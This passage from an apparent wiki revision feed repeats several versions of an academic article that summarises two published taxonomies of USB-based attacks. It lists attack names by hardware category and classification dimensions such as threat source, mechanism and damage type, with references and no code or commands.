Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17065</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17065"/>
		<updated>2024-12-13T14:27:15Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17064</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17064"/>
		<updated>2024-12-13T14:23:17Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Further Reading */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
